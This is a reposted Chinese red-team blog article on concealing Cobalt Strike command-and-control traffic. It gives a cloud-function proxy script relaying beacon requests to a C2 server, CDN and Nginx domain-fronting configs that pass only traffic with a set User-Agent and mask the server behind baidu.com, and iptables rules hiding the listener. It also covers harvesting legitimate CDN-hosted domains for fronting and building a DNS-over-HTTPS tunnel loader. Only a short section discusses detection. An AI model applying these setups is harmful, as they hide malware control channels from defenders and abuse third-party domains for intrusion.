文章总结: 文档详细介绍了隐藏C2通信的高级技术以规避检测。主要内容包括利用云函数与API网关构建流量代理、配置CDN加速及缓存规则隐藏真实IP、通过Nginx配合特定User-Agent头与iptables实现域前置转发。此外,还阐述了基于CNAME解析与IP反查寻找转发域名的方法、搭建DNS隐匿隧道解决端口冲突,以及利用DoH技术将流量伪装成HTTPS加密传输,旨在提升红队行动的隐蔽性与生存能力。
综合评分: 86
文章分类: 红队,免杀,内网渗透
看不见的目标:从CDN到域前置隐蔽通信
原创
Wvvvvv
0xSecurity
2026年1月15日 10:59
广东
云函数
新建一个云函数,在代码位置进行修改
首先导入 yisiwei.zip 的云函数包
# -*- coding: utf8 -*-
importjson, requests, base64
defmain_handler(event, context):
C2='https://49.xx.xx.xx' # 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
ifevent['httpMethod'] =='GET':
resp=requests.get(C2+path, headers=headers, verify=False)
else:
resp=requests.post(C2+path, data=event['body'], headers=headers, verify=False)
print(resp.headers)
print(resp.content)
response= {"isBase64Encoded": True, "statusCode": resp.status_code, "headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]}
returnresponse
记得部署
创建触发器,选择新建的模板和API网关触发方式
监听器配置填入地址 service-cv4vqio3-1307700818.sh.apigw.tencentcs.com
CDN
cobaltstrike监听器设置为CDN的地址,HTTPS Host Header设置为加速的域名
腾讯云CDN加速IP表,具体可通过多地ping域名获取最新的
1.180.204.1611.180.204.2271.198.4.42106.117.249.121.198.4.95
1.31.130.154101.206.209.141106.117.249.11 106.117.249.13106.117.249.14
腾讯云配置
腾讯云配置一定要设置为不缓存,不然上线一次就不上线了
成功上线
Nginx域前置
当我们使用原版CS挂载到公网VPS上会被扫描,大概率会出现以下情况
很容易致使VPS被情报社区标黑,进而导致在实战项目上出现被拦截无法上线的情况
这时候我们有两个解决方法
修改原版jar包默认特征使用域前置技术配合nginx进行转发,防止被扫描
首先是需要一个域名,国内VPS需要备案,国外可以使用 cloudflare进行加速,这里使用的是腾讯云
我的证书 – SSL 证书 – 控制台 (tencent.com) 申请免费证书
添加域名后可进行证书下载,这里我们选择 nginx
申请完成之后对文件进行重命名,生成 cobaltstrike.store
主要用到两个文件 server.pem 和 server.key
通过以下命令进行生成
opensslpkcs12-export-inserver.pem-inkeyserver.key-outcfcert.p12-namecloudflare_cert-passoutpass:123456
keytool-importkeystore-deststorepass123456-destkeypass123456-destkeystorecobaltstrike.store-srckeystorecfcert.p12-srcstoretypePKCS12-srcstorepass123456-aliascloudflare_cert
密码与输入命令需保持一致
nginx端口转发注意profile必须配置 set trust_x_forwarded_for "true"
nginx命令如下
nginx配置文件目录:
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default
/etc/nginx/conf.d/*.conf
启动nginx:
service nginx restart
systemctl status nginx.service
systemctl restart nginx
重新修改配置
nginx -s reload
http监听器default文件配置
http 转发80端口
编辑/etc/nginx/sites-enabled/default
server {
listen 80 default_server;
listen [::]:80 default_server;
server_name localhost;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
root /var/www/html;
# Add index.php to the list if you are using PHP
index index.html index.htm index.nginx-debian.html;
location / {
# user_agent与profile配置内容一致。只对上线的请求做端口转发,屏蔽其他流量
if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/539.39 (KHTML, like Gecko) Chrome/92.0.4519.137 Safari/539.39") {
return 404;
}
#转发后的端口12345,可修改为其他端口
proxy_pass http://localhost:12345;
}
}
https监听器default文件配置
server
{
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
server_name CDN;
expires off;
proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
#ssl证书文件位置
ssl_certificate /etc/nginx/conf.d/server.crt;
ssl_certificate_key /etc/nginx/conf.d/server.key;
root /var/www/html;
index index.html;
location ~*/(v1/xxx|v2/xxx)
{
if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/539.39 (KHTML, like Gecko) Chrome/92.0.4519.137 Safari/539.39")
{
return 404;
}
#转发后的端口10086,可修改为其他端口
proxy_pass https://127.0.0.1:10086;
}
location /
{
proxy_pass https://www.baidu.com;
}
}
不符合的UA头数据包将会被丢弃
除此以外,转发后的端口从外部仍能扫描,因此需要使用 iptables 进行限制
sudo iptables -A INPUT -p tcp --dport 23588 -s 127.0.0.1 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 23588 -j DROP
监听器配置
白域名获取
寻找同一 CDN 下可用于流量转发的域名
如何寻找位于同一 CDN 体系下、且可用于流量转发的合法域名,是本文重点讨论的内容。
在 CDN 架构中,DNS 系统会将域名解析权最终交由 CNAME 所指向的 CDN 厂商域名。由 CDN 专用 DNS 服务器返回对应的全局负载均衡节点 IP。
方法一:基于 CNAME 解析与历史 IP 反查
-
使用站长工具(如站长之家)对 CDN CNAME 记录进行 Ping,例如:
sdwdsdw.xxxxx.com.w.kunlunca.com -
获取解析出的 CDN 节点 IP
-
将 IP 投喂至威胁情报平台(如微步、TI 等),查询其历史解析域名
-
对候选域名进行验证,例如:
curl -k -v https://oss.takeoa.com -H "Host: sdwdsdw.xxxxx.com" -
同时检查 CS Web 日志,确认请求是否成功到达
方法二:基于 CDN 厂商 CNAME 规则进行批量溯源
国内主流 CDN 厂商(如阿里云、腾讯云)的 CNAME 后缀通常具备明显规律,例如:
xxxx.xxx.com.dsa.dnsv1.com xxxx.xxx.com.w.kunlunca.com
具体流程如下:
-
使用
nslookup查询 CDN 公共域名:nslookup www.cdn.dnsv1.com -
获取就近 CDN 节点公网 IP
-
搜集其他同样托管在该 CDN 厂商下的合法域名
-
通过威胁情报平台,对上述 IP 或
www.cdn.dnsv1.com进行历史解析查询 -
所有历史解析至该 IP 的域名均具备可验证价值
-
进一步追溯 IDC 信息,寻找形如:
m.leha.com.cdn.dnsv1.com -
去除 CDN 后缀后,直接访问前缀域名,检查是否具备:
- 正常访问能力
- HTTPS 证书(绿标)
DNS隐匿隧道
首先需要购买域名,为什么推荐这个网站,便宜且可以使用支付宝支付,免除需要VISA、国外信用卡麻烦
https://www.namesilo.com
腾讯云需要配置进行域名验证
namesilo设置change nameservers,12分别填入腾讯云的两个地址,等待域名状态变为 Active
添加一条A记录指向CS服务器的公网IP,再添加几条NS记录指向A记录域名即可
监听器新建DNS可能会提示53端口被占用
解决方案
systemctl stop systemd-resolved
#停用 systemd-resolved 服务
vi /etc/systemd/resolved.conf
[Resolve]
DNS=8.8.8.8 #取消注释,增加dns
#FallbackDNS=
#Domains=
#LLMNR=no
#MulticastDNS=no
#DNSSEC=no
#Cache=yes
DNSStubListener=no #取消注释,把yes改为no
ln -sf /run/systemd/resolve/resolv.conf /etc/resolv.conf
监听器配置如下 ns1.xxxx.com、ns2.xxxx.comns2.icbcleasing.top
DOH
DNS 通过 HTTPS 的缺点
首先,需要更多的数据包将相同的信息传回团队服务器。 DNS TXT 记录最多只能包含 255 个字符,这意味着我们只能在每个数据包中发送少量数据。
其次,我们无法控制可用服务器的路径或域名。对于环境或设备来说,拒绝流行或已知 DoH 服务器列表的出站 443/TCP 似乎比阻止 Microsoft 的 azurewebsites.net 或 Cloudflare 的 .workers.dev 更容易。您可以通过使用更不起眼的 DoH 服务器或构建自己的服务器并随着时间的推移对它们进行分类来解决此问题,具体取决于环境的配置方式。
潜在的检测方法
当前的检测技术在检测 HTTPS 上的 DNS 时可能存在差距。
- 当前针对恶意 HTTPS 流量的检测通常利用域信誉,这使得它们可能对 DoH 无效,因为所使用的域信誉良好。
- 当前针对恶意 DNS 流量的检测通常会监视许多 DNS 请求,这使得它们可能对 DoH 无效,因为流量不再使用 DNS 协议。
传统 DNS 监控和 SSL 检查的组合可能是一个潜在的解决方案,但我不知道当前有任何工具或产品可以做到这一点。
我的理解是,针对此攻击的主要防御措施是阻止到组织未使用的已知 DoH 服务器的出站 443/TCP。我遇到的大多数网络仍然使用传统的 DNS,通常将本地 DNS 服务器作为 Active Directory 环境的一部分运行。在这种情况下,无需允许 HTTPS 流量传输至 dns.google、cloudflare-dns.com 或本文中提到的任何其他内容
公网免费DoH服务器:https://github.com/curl/curl/wiki/DNS-over-HTTPSDoH的URDL:https://github.com/kyleavery/TitanLdr
修改为国内可访问的DoH服务器,修改 hooks 目录中 DnsQuery_A.c 文件第 116 行的URL列表
dns.alidns.com 为阿里云地址 速度快
根目录下运行 make 编译
像平常一样配置 DNS 侦听器,导入cna脚本,生成exe上线
WireShark抓包查看,可以看到只发出了一个DNS请求来解析DoH服务器的地址,之后的流量都经过了HTTPS的加密
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:0xSecurity Wvvvvv《看不见的目标:从CDN到域前置隐蔽通信》